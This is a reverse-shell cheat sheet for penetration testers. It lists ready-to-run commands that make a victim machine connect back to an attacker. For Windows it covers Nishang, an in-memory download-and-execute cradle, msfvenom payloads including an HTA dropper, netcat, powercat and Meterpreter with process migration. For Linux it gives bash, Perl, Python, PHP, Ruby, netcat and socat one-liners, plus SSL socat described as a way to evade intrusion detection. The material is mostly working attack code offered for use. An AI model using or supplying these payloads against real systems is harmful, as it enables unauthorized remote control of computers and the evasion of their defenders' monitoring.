Reverse Shell 🔙

To gain control over a compromised system, an attacker usually aims to gain interactive shell access for RCE. A reverse shell is a connection back that means that the victim connects to the attacker.

Be careful with Firewalls, use common ports like 80,443 or 445.

Windows

Nishang

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

Import-Module .\Invoke-PowershellTcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PORT]

Or you can modify the script and append the following line:

Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PORT]

And execute directly from memory:

start /b powershell IEX(New-Object Net.WebClient).downloadString('http://ip-addr:port/Invoke-PowerShellTcp.ps1')

Be careful, migrate the process to the same machine architecture!

Binary

With msfvenom we can create a windows tcp reverse shell.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o /tmp/rev.exe

Netcat

Netcat is a network tool that allows through a command interpreter and with a simple syntax to open TCP / UDP ports in a HOST. It's not native from windows, so you need to trasnfer the binary.

nc.exe -e powershell.exe [IP] [PORT]

Be careful, migrate the process to the same machine architecture!

Powershell

Also we can get a reverse shell without using any external file.

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ip-addr',port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.T ext.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII ).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$c lient.Close()"

We can also use msfvenom hta-psh reverse shell.

$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f hta-psh
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 6638 bytes
<script language="VBScript">
  window.moveTo -4000, -4000
  Set bwtVGMW = CreateObject("Wscript.Shell")
  Set tycIa5Pq = CreateObject("Scripting.FileSystemObject")
  For each path in Split(bwtVGMW.ExpandEnvironmentStrings("%PSModulePath%"),";")
    If tycIa5Pq.FileExists(path + "\..\powershell.exe") Then
      bwtVGMW.Run "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAO....

Powercat

Powercat is the netcat version written in powershell. Remember first download the script and import the module.

powercat -c ip-addr -p port -e cmd.exe

Meterpreter

First, we need to create our shellcode with msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 --encoder x86/shikata_ga_nai -f exe LHOST=[IP] LPORT=[PORT] > meterpreter.exe

After transfer our shellcode to the target machine, we will start listening with metasploit at the same port:

msf> use multi/handler
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LPORT [PORT]
msf> set LHOST [IP]
msf> run

When we execute our shellcode we will receive the meterpreter in the handler:

.\meterpreter.exe

Be careful, migrate the process to the same machine architecture!

Migrating the reverse shell

From Powershell:

[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess

If they don't sahre the same architecture, we will need to create a new Revershell with the appropiate Powershell path:

• For 32 bits:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

• For 64 bits:

C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe

From Meterpreter:

First we need to list all processes:

meterpreter > ps

Afther getting the list of all the processs going on we can migrate ourselves to some reliable process:

meterpreter > migrate PID

Linux

There are many ways to get a reverse shell in many differents languages and using many differents binaries.

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Socat

socat TCP4:10.0.0.1:1234 EXEC:/bin/bash

SSL Socat

Using cryptography helps to evade some types of IDS. First we need to create the certificates in out attacking machine.

openssl req -newkey rsa:2048 -nodes -keyout rev_shell.key -x509 -days 362 -out rev_shell.crt
cat rev_shell.key rev_shell.crt > rev_shell.pem

After that on the target machine run socat with OPENSSL:

socat OPENSSL:10.0.0.1:443,cert=rev_shell.pem,verify=0 EXEC:/bin/bash

Improve the rev shell to TTY

python3 -c 'import pty; pty.spawn("/bin/bash")'

Run to background with Ctrl + Z

stty raw -echo;fg
export TERM=xterm-265color

Don't use tmux and rlwrap if you want better results.

References:

• https://ironhackers.es/herramientas/reverse-shell-cheat-sheet/
• https://www.sniferl4bs.com/2017/04/hacking-101-reverse-shell-bind-shell.html
• https://securityhacklabs.net/articulo/accediendo-remotamente-a-windows-10-con-metasploit
• https://www.youtube.com/watch?v=fIGvOGrdxyc&t=164s
• https://github.com/samratashok/nishang